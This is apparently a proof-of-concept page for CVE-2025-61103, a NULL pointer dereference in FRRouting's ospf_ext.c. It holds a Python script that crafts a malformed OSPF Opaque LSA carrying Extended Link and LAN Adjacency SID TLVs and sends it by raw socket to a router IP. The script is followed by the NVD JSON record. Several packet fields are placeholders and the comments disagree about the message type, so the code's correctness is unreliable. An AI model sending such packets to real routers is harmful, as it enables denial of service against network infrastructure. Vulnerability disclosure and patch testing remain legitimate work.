CVE-2025-61103

# CVE-2025-61103 PoC - FRRouting NULL Pointer Dereference in ospf_ext.c # This PoC demonstrates sending a crafted OSPF packet to trigger NULL pointer dereference import socket import struct import random def craft_malicious_ospf_lsa(): """Craft a malicious OSPF LSA to trigger NULL pointer dereference""" # OSPF Header version = 2 # OSPFv2 msg_type = 4 # LSAck or 5 for LSUPDATE length = 0 router_id = socket.inet_aton('10.0.0.1') area_id = socket.inet_aton('0.0.0.0') checksum = 0 auth_type = 0 auth = b'\x00' * 8 # OSPF LSA Header lsa_age = 1 lsa_type = 10 # Opaque LSA (Type 10 for Traffic Engineering) lsa_id = b'\x00\x00\x00\x01' lsa_adv_router = socket.inet_aton('10.0.0.2') lsa_seq = 0x80000001 lsa_len = 200 # Craft payload that triggers NULL pointer in show_vty_ext_link_lan_adj_sid # The vulnerability occurs when processing Extended Link LAN Adjacency SID payload = b'\x00' * 50 # Padding to reach vulnerable code path # Extended Link TLV with specific structure to trigger NULL extended_link_tlv = b'\x00\x00\x00\x01' # TLV type extended_link_len = b'\x00\x00\x00\x40' # Length link_id = b'\x00' * 16 # Link ID (can be NULL triggering condition) link_type = b'\x02' # Point-to-point # LAN Adjacency SID with NULL pointer trigger adj_sid_tlv = b'\x00\x00\x00\x04' # LAN Adjacency SID TLV adj_sid_flags = b'\x80' # Flags adj_sid_value = b'\x00\x00\x00\x00' # Value that may cause NULL condition lsa_body = payload + extended_link_tlv + extended_link_len + link_id + link_type + adj_sid_tlv + adj_sid_flags + adj_sid_value # Build LSA Header lsa_header = struct.pack('>HBB', lsa_age, lsa_type, 0) # Options lsa_header += lsa_id lsa_header += lsa_adv_router lsa_header += struct.pack('>I', lsa_seq) lsa_header += struct.pack('>HH', lsa_len, 0) # Checksum placeholder full_lsa = lsa_header + lsa_body # OSPF Header ospf_header = struct.pack('>BBHH', version, msg_type, length, 0) ospf_header += router_id ospf_header += area_id ospf_header += struct.pack('>HH', checksum, auth_type) ospf_header += auth return ospf_header + full_lsa def send_malicious_packet(target_ip, router_id): """Send malicious OSPF packet to target""" sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, 89) # OSPF protocol sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) packet = craft_malicious_ospf_lsa() try: sock.sendto(packet, (target_ip, 0)) print(f"[+] Malicious OSPF packet sent to {target_ip}") print(f"[*] This may trigger NULL pointer dereference in ospf_ext.c") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": target = "192.168.1.1" # Target FRRouting router IP send_malicious_packet(target, "10.0.0.1")

{"cve": {"id": "CVE-2025-61103", "sourceIdentifier": "[email protected]", "published": "2025-10-28T15:16:12.910", "lastModified": "2025-10-31T18:55:01.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FRRouting/frr from v4.0 through v10.4.1 was discovered to contain a NULL pointer dereference via the show_vty_ext_link_lan_adj_sid function at ospf_ext.c. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted OSPF packet."}, {"lang": "es", "value": "FRRouting/frr desde la v4.0 hasta la v10.4.1 se descubrió que contenía una desreferencia de puntero NULL a través de la función show_vty_ext_link_lan_adj_sid en ospf_ext.c. Esta vulnerabilidad permite a los atacantes causar una denegación de servicio (DoS) a través de un paquete OSPF manipulado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frrouting:frrouting:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0", "versionEndIncluding": "10.4.1", "matchCriteriaId": "B41245C0-85A2-4A77-BF46-27F573E6F588"}]}]}], "references": [{"url": "https://github.com/FRRouting/frr/issues/19471", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/FRRouting/frr/pull/19480", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/FRRouting/frr/pull/19480/commits/fdd957408605d4a1766225630aafc7e6b7c3daf3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/s1awwhy/BugList/blob/main/CVE-2025-61103.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}